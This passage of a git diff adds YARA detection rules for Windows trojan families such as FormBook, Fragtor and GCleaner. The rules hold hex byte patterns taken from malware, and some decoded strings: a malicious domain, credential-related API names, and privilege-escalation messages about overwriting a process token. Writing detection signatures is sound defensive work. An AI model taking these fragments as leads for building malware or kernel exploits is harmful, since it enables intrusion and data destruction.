00 00 41 b8 00 00 00 10 ?? ?? ?? [0-03] ff 15 ?? ?? ?? ?? 85 c0 ?? ?? ?? ?? ?? ?? ?? ?? [0-06] ba 02 00 00 00 41 b8 00 00 00 10 ?? ?? ?? [0-03] ff 15 } //1 + $a_01_2 = {8b 0e 8b d1 8b c1 c1 e9 08 c1 e2 10 25 00 ff 00 00 81 e1 00 ff 00 00 0b d0 0f b6 46 03 c1 e2 08 0b d1 } //1 + condition: + ((#a_01_0 & 1)*3+(#a_03_1 & 1)*1+(#a_01_2 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/FlockWiper/Trojan_Win32_FlockWiper_A.yar b/Trojan/Win32/FlockWiper/Trojan_Win32_FlockWiper_A.yar new file mode 100644 index 0000000000..4ec052a817 --- /dev/null +++ b/Trojan/Win32/FlockWiper/Trojan_Win32_FlockWiper_A.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_FlockWiper_A{ + meta: + description = "Trojan:Win32/FlockWiper.A,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 00 " + + strings : + $a_01_0 = {00 00 2d 00 2d 00 2d 00 20 00 57 00 6f 00 72 00 6b 00 69 00 6e 00 67 00 20 00 6f 00 6e 00 20 00 00 00 } //1 + $a_01_1 = {00 00 50 00 61 00 72 00 74 00 69 00 74 00 69 00 6f 00 6e 00 73 00 20 00 72 00 65 00 6d 00 6f 00 76 00 65 00 64 00 20 00 73 00 75 00 63 00 63 00 65 00 73 00 73 00 66 00 75 00 6c 00 6c 00 79 00 2e 00 00 00 } //1 + $a_01_2 = {00 00 46 00 61 00 69 00 6c 00 65 00 64 00 20 00 74 00 6f 00 20 00 63 00 6c 00 65 00 61 00 72 00 20 00 70 00 61 00 72 00 74 00 69 00 74 00 69 00 6f 00 6e 00 73 00 3a 00 20 00 00 00 } //1 + $a_01_3 = {00 00 46 00 61 00 69 00 6c 00 65 00 64 00 20 00 74 00 6f 00 20 00 77 00 72 00 69 00 74 00 65 00 20 00 74 00 6f 00 20 00 74 00 68 00 65 00 20 00 72 00 65 00 6d 00 61 00 69 00 6e 00 64 00 65 00 72 00 20 00 6f 00 66 00 20 00 74 00 68 00 65 00 20 00 64 00 69 00 73 00 6b 00 3a 00 20 00 00 00 } //1 + $a_01_4 = {00 00 46 00 61 00 69 00 6c 00 65 00 64 00 20 00 74 00 6f 00 20 00 67 00 65 00 74 00 20 00 64 00 69 00 73 00 6b 00 20 00 67 00 65 00 6f 00 6d 00 65 00 74 00 72 00 79 00 3a 00 20 00 00 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/FlyStudio/Trojan_Win32_Flystudio_DB_MTB.yar b/Trojan/Win32/FlyStudio/Trojan_Win32_Flystudio_DB_MTB.yar new file mode 100644 index 0000000000..9ec82c0118 --- /dev/null +++ b/Trojan/Win32/FlyStudio/Trojan_Win32_Flystudio_DB_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_Flystudio_DB_MTB{ + meta: + description = "Trojan:Win32/Flystudio.DB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,ffffff8c 00 ffffff8c 00 06 00 00 " + + strings : + $a_03_0 = {39 00 34 00 2d 00 31 00 33 00 34 00 33 00 31 00 33 00 32 00 36 00 33 00 36 00 2e 00 63 00 6f 00 73 00 2e 00 61 00 70 00 2d 00 6e 00 61 00 6e 00 6a 00 69 00 6e 00 67 00 2e 00 6d 00 79 00 71 00 63 00 6c 00 6f 00 75 00 64 00 2e 00 63 00 6f 00 6d 00 2f 00 [0-32] 2e 00 74 00 78 00 74 00 } //10 + $a_03_1 = {39 34 2d 31 33 34 33 31 33 32 36 33 36 2e 63 6f 73 2e 61 70 2d 6e 61 6e 6a 69 6e 67 2e 6d 79 71 63 6c 6f 75 64 2e 63 6f 6d 2f [0-32] 2e 74 78 74 } //10 + $a_81_2 = {63 73 67 6f 6e 65 63 2e 6c 61 6e 7a 6e 2e 63 6f 6d } //100 csgonec.lanzn.com + $a_81_3 = {53 65 74 43 72 65 64 65 6e 74 69 61 6c 73 } //10 SetCredentials + $a_81_4 = {73 65 74 2d 63 6f 6f 6b 69 65 3a } //10 set-cookie: + $a_81_5 = {53 65 74 52 65 71 75 65 73 74 48 65 61 64 65 72 } //10 SetRequestHeader + condition: + ((#a_03_0 & 1)*10+(#a_03_1 & 1)*10+(#a_81_2 & 1)*100+(#a_81_3 & 1)*10+(#a_81_4 & 1)*10+(#a_81_5 & 1)*10) >=140 + +} \ No newline at end of file diff --git a/Trojan/Win32/Formbook/Trojan_Win32_FormBook_ZC_MTB.yar b/Trojan/Win32/Formbook/Trojan_Win32_FormBook_ZC_MTB.yar new file mode 100644 index 0000000000..ca00c51b8b --- /dev/null +++ b/Trojan/Win32/Formbook/Trojan_Win32_FormBook_ZC_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_FormBook_ZC_MTB{ + meta: + description = "Trojan:Win32/FormBook.ZC!MTB,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {68 34 1c 7b e1 } //1 + $a_01_1 = {68 38 2a 90 c5 } //1 + $a_01_2 = {68 53 d8 7f 8c } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Formbook/Trojan_Win32_FormBook_Z_MTB.yar b/Trojan/Win32/Formbook/Trojan_Win32_FormBook_Z_MTB.yar new file mode 100644 index 0000000000..3e56fb16d1 --- /dev/null +++ b/Trojan/Win32/Formbook/Trojan_Win32_FormBook_Z_MTB.yar @@ -0,0 +1,42 @@ + +rule Trojan_Win32_FormBook_Z_MTB{ + meta: + description = "Trojan:Win32/FormBook.Z!MTB,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {3c 30 50 4f 53 54 74 09 40 } //1 + $a_01_1 = {04 83 c4 0c 83 06 07 5b 5f 5e 8b e5 5d c3 8b 17 03 55 0c 6a 01 83 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} +rule Trojan_Win32_FormBook_Z_MTB_2{ + meta: + description = "Trojan:Win32/FormBook.Z!MTB,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {74 0a 4e 0f b6 08 8d 44 08 01 75 f6 8d 70 01 0f b6 00 8d 55 } //1 + $a_01_1 = {1a d2 80 e2 af 80 c2 7e eb 2a 80 fa 2f 75 11 8a d0 80 e2 01 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} +rule Trojan_Win32_FormBook_Z_MTB_3{ + meta: + description = "Trojan:Win32/FormBook.Z!MTB,SIGNATURE_TYPE_PEHSTR,02 00 02 00 0a 00 00 " + + strings : + $a_01_0 = {03 c8 0f 31 2b c1 89 45 fc } //1 + $a_01_1 = {3c 24 0f 84 76 ff ff ff 3c 25 74 94 } //1 + $a_01_2 = {3b 4f 14 73 95 85 c9 74 91 } //1 + $a_01_3 = {3c 69 75 44 8b 7d 18 8b 0f } //1 + $a_01_4 = {5d c3 8d 50 7c 80 fa 07 } //1 + $a_01_5 = {0f be 5c 0e 01 0f b6 54 0e 02 83 e3 0f c1 ea 06 } //1 + $a_01_6 = {57 89 45 fc 89 45 f4 89 45 f8 } //1 + $a_01_7 = {66 89 0c 02 5b 8b e5 5d } //1 + $a_01_8 = {3c 54 74 04 3c 74 75 f4 } //1 + $a_01_9 = {56 68 03 01 00 00 8d 85 95 fe ff ff 6a 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Formbook/Trojan_Win32_Formbook_ILM_MTB.yar b/Trojan/Win32/Formbook/Trojan_Win32_Formbook_ILM_MTB.yar new file mode 100644 index 0000000000..02f1ee2dcc --- /dev/null +++ b/Trojan/Win32/Formbook/Trojan_Win32_Formbook_ILM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Formbook_ILM_MTB{ + meta: + description = "Trojan:Win32/Formbook.ILM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {8a 4c 30 01 80 e9 ?? 30 0c 30 40 3b c2 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_AG_MTB.yar b/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_AG_MTB.yar new file mode 100644 index 0000000000..4a38edf707 --- /dev/null +++ b/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_AG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Fragtor_AG_MTB{ + meta: + description = "Trojan:Win32/Fragtor.AG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {8b 0c 27 23 c0 33 cb 66 25 10 91 8b d0 41 42 0f 8c 01 99 eb ff 48 c7 44 24 00 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_AI_MTB.yar b/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_AI_MTB.yar new file mode 100644 index 0000000000..294b4411b6 --- /dev/null +++ b/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_AI_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Fragtor_AI_MTB{ + meta: + description = "Trojan:Win32/Fragtor.AI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {c7 45 fc 04 00 00 00 8d 4d c8 c7 45 e0 00 00 00 00 2b ce c7 45 e4 00 00 00 00 b8 ?? ?? ?? ?? c7 45 e8 00 00 00 00 f7 e9 c1 fa 02 8b c2 c1 e8 1f } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_AM_MTB.yar b/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_AM_MTB.yar new file mode 100644 index 0000000000..74cc239784 --- /dev/null +++ b/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_AM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Fragtor_AM_MTB{ + meta: + description = "Trojan:Win32/Fragtor.AM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {6a 00 6a 00 6a 00 6a 01 68 58 2a 47 00 ff 15 64 c1 45 00 8b d8 89 5d dc 85 db 0f 84 89 01 00 00 6a 00 68 00 01 00 80 6a 00 6a 00 68 80 2e 47 00 53 ff } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_AO_MTB.yar b/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_AO_MTB.yar new file mode 100644 index 0000000000..8d53f335c3 --- /dev/null +++ b/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_AO_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Fragtor_AO_MTB{ + meta: + description = "Trojan:Win32/Fragtor.AO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {53 56 57 56 81 e6 b8 37 00 00 81 ce fe 4b 00 00 81 e6 1d 61 01 00 81 ee 00 21 00 00 5e 50 50 83 c4 04 81 e8 4b 46 00 00 81 f0 4e 0e 01 00 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_ARAX_MTB.yar b/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_ARAX_MTB.yar new file mode 100644 index 0000000000..53bf5c7c18 --- /dev/null +++ b/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_ARAX_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_Fragtor_ARAX_MTB{ + meta: + description = "Trojan:Win32/Fragtor.ARAX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 00 " + + strings : + $a_03_0 = {89 c2 0f b7 05 ?? ?? ?? ?? 0f b7 0d ?? ?? ?? ?? 66 0f ac c1 ?? 89 c8 35 ?? ?? ?? ?? 66 89 46 18 89 d1 } //2 + $a_01_1 = {47 65 74 46 69 6c 65 56 65 72 73 69 6f 6e 49 6e 66 6f 57 } //2 GetFileVersionInfoW + $a_01_2 = {47 65 74 46 69 6c 65 56 65 72 73 69 6f 6e 49 6e 66 6f 53 69 7a 65 57 } //2 GetFileVersionInfoSizeW + $a_01_3 = {56 65 72 51 75 65 72 79 56 61 6c 75 65 57 } //2 VerQueryValueW + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_BAA_MTB.yar b/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_BAA_MTB.yar new file mode 100644 index 0000000000..314307bb2a --- /dev/null +++ b/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_BAA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Fragtor_BAA_MTB{ + meta: + description = "Trojan:Win32/Fragtor.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {2b d0 31 13 83 45 ec 04 83 c3 04 8b 45 ec 3b 45 dc 72 92 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_BF_MTB.yar b/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_BF_MTB.yar new file mode 100644 index 0000000000..049087d66e --- /dev/null +++ b/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_BF_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Fragtor_BF_MTB{ + meta: + description = "Trojan:Win32/Fragtor.BF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {0f b6 4c 24 0b 8b 14 85 ?? ?? ?? 00 0f b6 33 31 f1 88 4c 24 0b 83 fa 01 77 } //3 + $a_01_1 = {0f b6 4c 24 0b 32 4c 13 ff 88 4c 24 0b 8b 4c 24 0c 01 d1 89 4c 24 0c 89 f1 80 f9 4d 75 } //2 + condition: + ((#a_03_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_KK_MTB.yar b/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_KK_MTB.yar new file mode 100644 index 0000000000..77c779c825 --- /dev/null +++ b/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_KK_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Fragtor_KK_MTB{ + meta: + description = "Trojan:Win32/Fragtor.KK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 03 00 00 " + + strings : + $a_03_0 = {28 ad c0 14 83 c0 04 eb 0b dd 35 ?? ?? ?? ?? a1 ?? ?? ?? ?? 83 ea 01 f9 72 } //8 + $a_03_1 = {83 2f 01 f9 72 0b 2f e3 ?? 09 c0 4b 8a 5b af 0c d7 } //7 + $a_01_2 = {46 65 33 30 34 38 31 32 34 38 33 32 66 30 63 65 66 38 38 33 39 34 31 65 36 30 33 35 65 32 62 62 62 63 32 33 37 2e 65 78 65 46 65 } //5 Fe3048124832f0cef883941e6035e2bbbc237.exeFe + condition: + ((#a_03_0 & 1)*8+(#a_03_1 & 1)*7+(#a_01_2 & 1)*5) >=20 + +} \ No newline at end of file diff --git a/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_LM_MTB.yar b/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_LM_MTB.yar new file mode 100644 index 0000000000..17020a1084 --- /dev/null +++ b/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_LM_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Fragtor_LM_MTB{ + meta: + description = "Trojan:Win32/Fragtor.LM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 02 00 00 " + + strings : + $a_03_0 = {8a 95 e7 ef ff ff 2a d0 8b 85 18 f0 ff ff 02 d1 30 17 83 c0 21 3b 85 14 f0 ff ff 7e ?? ff 8d 0c f0 ff ff 3b c6 7c ?? 8b d6 d1 ea 2b d6 03 d0 8d 7c 0a 05 eb } //15 + $a_03_1 = {83 fa 67 75 ?? 8d 4c 00 01 8b d0 d3 e2 8d 48 01 85 c9 7e ?? 8d 49 00 0f af d0 03 d2 03 d2 03 d2 49 75 f4 } //10 + condition: + ((#a_03_0 & 1)*15+(#a_03_1 & 1)*10) >=25 + +} \ No newline at end of file diff --git a/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_MR_MTB.yar b/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_MR_MTB.yar new file mode 100644 index 0000000000..8bbd834846 --- /dev/null +++ b/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_MR_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Fragtor_MR_MTB{ + meta: + description = "Trojan:Win32/Fragtor.MR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 03 00 00 " + + strings : + $a_01_0 = {46 65 33 30 34 38 31 32 34 38 33 32 66 30 63 65 66 38 38 33 39 34 31 65 36 30 33 35 65 32 62 62 62 63 32 33 37 2e 65 78 65 } //50 Fe3048124832f0cef883941e6035e2bbbc237.exe + $a_01_1 = {28 ad c0 14 83 c0 04 eb 0b dd 35 e9 48 a8 46 a1 9e 6a ec 23 83 ea 01 f9 72 } //25 + $a_01_2 = {1f 93 ee 29 42 8a 27 67 13 bb ed 45 28 ad c0 14 83 c0 } //25 + condition: + ((#a_01_0 & 1)*50+(#a_01_1 & 1)*25+(#a_01_2 & 1)*25) >=100 + +} \ No newline at end of file diff --git a/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_NF_MTB.yar b/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_NF_MTB.yar index 312f79ee40..a096abb0ad 100644 --- a/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_NF_MTB.yar +++ b/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_NF_MTB.yar @@ -36,6 +36,22 @@ rule Trojan_Win32_Fragtor_NF_MTB_3{ } rule Trojan_Win32_Fragtor_NF_MTB_4{ + meta: + description = "Trojan:Win32/Fragtor.NF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 07 00 00 " + + strings : + $a_01_0 = {4c 65 76 65 72 61 67 69 6e 67 20 44 4b 4f 4d 20 74 6f 20 61 63 68 69 65 76 65 20 4c 50 45 } //2 Leveraging DKOM to achieve LPE + $a_01_1 = {43 61 6c 6c 69 6e 67 20 57 72 69 74 65 36 34 20 77 72 61 70 70 65 72 20 74 6f 20 6f 76 65 72 77 72 69 74 65 20 63 75 72 72 65 6e 74 20 45 50 52 4f 43 45 53 53 2d 3e 54 6f 6b 65 6e } //2 Calling Write64 wrapper to overwrite current EPROCESS->Token + $a_01_2 = {44 00 65 00 76 00 69 00 63 00 65 00 5c 00 4d 00 75 00 70 00 5c 00 3b 00 43 00 73 00 63 00 5c 00 2e 00 5c 00 2e 00 } //1 Device\Mup\;Csc\.\. + $a_01_3 = {43 75 72 72 65 6e 74 20 45 50 52 4f 43 45 53 53 20 61 64 64 72 65 73 73 } //1 Current EPROCESS address + $a_01_4 = {43 75 72 72 65 6e 74 20 54 48 52 45 41 44 20 61 64 64 72 65 73 73 } //1 Current THREAD address + $a_01_5 = {53 79 73 74 65 6d 20 45 50 52 4f 43 45 53 53 20 61 64 64 72 65 73 73 } //1 System EPROCESS address + $a_01_6 = {63 6d 64 2e 65 78 65 } //1 cmd.exe + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=9 + +} +rule Trojan_Win32_Fragtor_NF_MTB_5{ meta: description = "Trojan:Win32/Fragtor.NF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 00 " diff --git a/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_PGF_MTB.yar b/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_PGF_MTB.yar new file mode 100644 index 0000000000..1abc8ea03b --- /dev/null +++ b/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_PGF_MTB.yar @@ -0,0 +1,32 @@ + +rule Trojan_Win32_Fragtor_PGF_MTB{ + meta: + description = "Trojan:Win32/Fragtor.PGF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {8b c8 c1 e9 1e 33 c8 69 c1 ?? ?? ?? ?? 03 c2 89 84 94 2c 01 00 00 42 81 fa 70 02 00 00 72 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} +rule Trojan_Win32_Fragtor_PGF_MTB_2{ + meta: + description = "Trojan:Win32/Fragtor.PGF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {66 0f a3 c8 0f bd c9 8a 06 66 f7 d1 30 d8 88 cd 60 fe c0 88 1c 24 0f 9b c1 d0 c8 8d 8b ?? ?? ?? ?? e9 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} +rule Trojan_Win32_Fragtor_PGF_MTB_3{ + meta: + description = "Trojan:Win32/Fragtor.PGF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {89 c1 83 e1 1f 0f b6 89 ?? ?? ?? ?? 30 0c 06 40 3d 00 9e 00 00 72 e9 } //5 + $a_03_1 = {89 c1 83 e1 1f 0f b6 89 ?? ?? ?? ?? 30 0c 07 40 3d 00 9e 00 00 75 e9 } //5 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_SPB_MTB.yar b/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_SPB_MTB.yar new file mode 100644 index 0000000000..3b32844ec2 --- /dev/null +++ b/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_SPB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Fragtor_SPB_MTB{ + meta: + description = "Trojan:Win32/Fragtor.SPB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 00 " + + strings : + $a_03_0 = {88 1c 08 89 4a 04 33 c0 40 8b 95 ?? ?? ff ff 03 f8 e9 } //3 + condition: + ((#a_03_0 & 1)*3) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_ZIN_MTB.yar b/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_ZIN_MTB.yar new file mode 100644 index 0000000000..26cdec716b --- /dev/null +++ b/Trojan/Win32/Fragtor/Trojan_Win32_Fragtor_ZIN_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Fragtor_ZIN_MTB{ + meta: + description = "Trojan:Win32/Fragtor.ZIN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0f b7 c9 33 ca 89 1d ?? ?? ?? ?? 89 4c 24 54 8b 4c 24 28 d3 e7 89 7c 24 38 8b 7c 24 60 8b 94 24 98 00 00 00 8b 44 24 40 05 69 21 00 00 89 84 24 a8 00 00 00 8b 44 24 5c 0f af 44 24 20 89 44 24 5c 66 a3 ?? ?? ?? ?? 8b 84 24 84 00 00 00 0f b7 c0 39 44 24 38 7d } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/GCleaner/Trojan_Win32_GCleaner_AQ_MTB.yar b/Trojan/Win32/GCleaner/Trojan_Win32_GCleaner_AQ_MTB.yar new file mode 100644 index 0000000000..ea07ba60d7 --- /dev/null +++ b/Trojan/Win32/GCleaner/Trojan_Win32_GCleaner_AQ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_GCleaner_AQ_MTB{ + meta: + description = "Trojan:Win32/GCleaner.AQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {33 c0 8b 55 ec 01 13 8b 75 d4 03 75 a4 03 75 ec 03 f0 bf ?? ?? 00 00 6a 00 e8 ?? ?? ?? ?? 03 fe 81 ef ?? ?? 00 00 2b f8 31 3b 83 45 ec 04 83 c3 04 8b 45 ec 3b 45 dc 72 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/GCleaner/Trojan_Win32_GCleaner_AR_MTB.yar b/Trojan/Win32/GCleaner/Trojan_Win32_GCleaner_AR_MTB.yar new file mode 100644 index 0000000000..9033074180 --- /dev/null +++ b/Trojan/Win32/GCleaner/Trojan_Win32_GCleaner_AR_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_GCleaner_AR_MTB{ + meta: + description = "Trojan:Win32/GCleaner.AR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {03 fe 81 ef ?? ?? 00 00 2b f8 6a 00 e8 ?? ?? ?? ?? 2b f8 6a 00 e8 ?? ?? ?? ?? 2b f8 31 3b 83 45 ec 04 83 c3 04 8b 45 ec 3b 45 dc 72 } //4 + $a_01_1 = {33 c0 8b 55 ec 01 13 8b 75 d4 03 75 a4 03 75 ec 03 f0 } //1 + condition: + ((#a_03_0 & 1)*4+(#a_01_1 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/GCleaner/Trojan_Win32_GCleaner_FZK_MTB.yar b/Trojan/Win32/GCleaner/Trojan_Win32_GCleaner_FZK_MTB.yar new file mode 100644 index 0000000000..2c577199db --- /dev/null +++ b/Trojan/Win32/GCleaner/Trojan_Win32_GCleaner_FZK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_GCleaner_FZK_MTB{ + meta: + description = "Trojan:Win32/GCleaner.FZK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {33 c0 8b 55 ec 01 13 8b 55 d4 03 55 ac 03 55 ec 03 c2 ba 89 15 00 00 03 d0 81 ea 89 15 00 00 31 13 83 45 ?? 04 83 c3 04 8b 45 ec 3b 45 dc 72 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/GCleaner/Trojan_Win32_GCleaner_PGGC_MTB.yar b/Trojan/Win32/GCleaner/Trojan_Win32_GCleaner_PGGC_MTB.yar new file mode 100644 index 0000000000..5b7c03a075 --- /dev/null +++ b/Trojan/Win32/GCleaner/Trojan_Win32_GCleaner_PGGC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_GCleaner_PGGC_MTB{ + meta: + description = "Trojan:Win32/GCleaner.PGGC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {33 c0 01 1e 8b 7d d8 03 7d a4 03 fb 03 f8 c7 45 b8 89 15 00 00 6a 00 e8 ?? ?? ?? ?? 03 7d b8 81 ef 89 15 00 00 2b f8 6a 00 e8 ?? ?? ?? ?? 2b f8 6a 00 e8 ?? ?? ?? ?? 2b f8 31 3e 83 c3 04 83 c6 04 3b 5d e0 72 ba } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/GCleaner/Trojan_Win32_GCleaner_SAGL_MTB.yar b/Trojan/Win32/GCleaner/Trojan_Win32_GCleaner_SAGL_MTB.yar new file mode 100644 index 0000000000..b56b062faa --- /dev/null +++ b/Trojan/Win32/GCleaner/Trojan_Win32_GCleaner_SAGL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_GCleaner_SAGL_MTB{ + meta: + description = "Trojan:Win32/GCleaner.SAGL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {8b c8 c1 e9 1e 33 c8 69 c1 ?? ?? ?? ?? 03 c6 89 84 b5 ?? ?? ?? ?? 46 3b f2 72 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/GCleaner/Trojan_Win32_GCleaner_SCP_MTB.yar b/Trojan/Win32/GCleaner/Trojan_Win32_GCleaner_SCP_MTB.yar new file mode 100644 index 0000000000..ae6b393bc5 --- /dev/null +++ 